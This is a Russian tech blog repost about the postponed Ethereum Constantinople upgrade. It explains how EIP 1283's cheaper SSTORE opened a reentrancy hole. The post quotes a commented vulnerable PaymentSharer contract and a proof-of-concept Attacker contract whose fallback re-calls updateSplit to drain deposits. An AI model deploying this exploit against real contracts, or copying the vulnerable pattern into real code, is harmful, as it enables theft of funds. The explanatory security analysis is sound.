- PVSM.RU - https://www.pvsm.ru -
*многие называют это событие «hard fork»-ом, но «Виталик» против [1].
Долгожданный релиз Constantinople должен был состояться 17 января, в 4AM UTC [2], однако, в очередной раз жестоко обломав несметную армию разработчиков countdown счетчиков [3] этому не суждено будет сбыться.
За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.
Событием, поднявшим на уши все сообщество, стало опрометчивое предложение EIP 1283 [4], удешевлеяющее выполнение инструкции SSTORE (sic!). Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций.
События 15 января развивались следующим образом [5] (время в PST):
— в 8 утра ChainSecurity публикует описание уязвимости [6];
— тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут вот [6];
— до полудня происходят бурные дебаты в чатах и «голосом»;
— к обеду принято решение отменять апдейт.
Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.
Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха). Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех.
О технических деталях уязвимости лучше почитать в оригинале статьи от ChainSecurity [6], разобраться там не сложно.
Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.
Код уявзимого контракта (с моими комментариями):
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
// здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
// кладем сумму на депозит, который в последствии будут делить участники
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
// задаем в какой пропорции делить депозит
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
// непосредственно, дележ (в соответсвтии с установленной пропорцией split)
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
// пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
a.transfer(depo * splits[id] / 100);
// остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
b.transfer(depo * (100 - splits[id]) / 100);
}
}
Код атакующего контракта:
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
// злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
// fallback метод, вызывается по умолчанию на transfer-е
function () payable external {
address x = victim;
// собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
* в оригинале упущено, но где-то должна быть инициализация вида:
init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)
перед вызовом метода attack.
Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).
Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги.
Автор: robert_ayrapetyan
Источник [7]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/uyazvimost/305382
Ссылки в тексте:
[1] против: https://twitter.com/VitalikButerin/status/1083450179347394560
[2] 17 января, в 4AM UTC: https://www.coindesk.com/what-to-expect-when-ethereums-constantinople-hard-fork-happens
[3] countdown счетчиков: https://www.reddit.com/r/ethereum/comments/agcmiq/nethermind_constantinople_countdown_092_available/
[4] EIP 1283: https://eips.ethereum.org/EIPS/eip-1283
[5] следующим образом: https://blog.ethereum.org/2019/01/15/security-alert-ethereum-constantinople-postponement/
[6] описание уязвимости: https://medium.com/chainsecurity/constantinople-enables-new-reentrancy-attack-ace4088297d9
[7] Источник: https://habr.com/ru/post/436262/?utm_campaign=436262
Нажмите здесь для печати.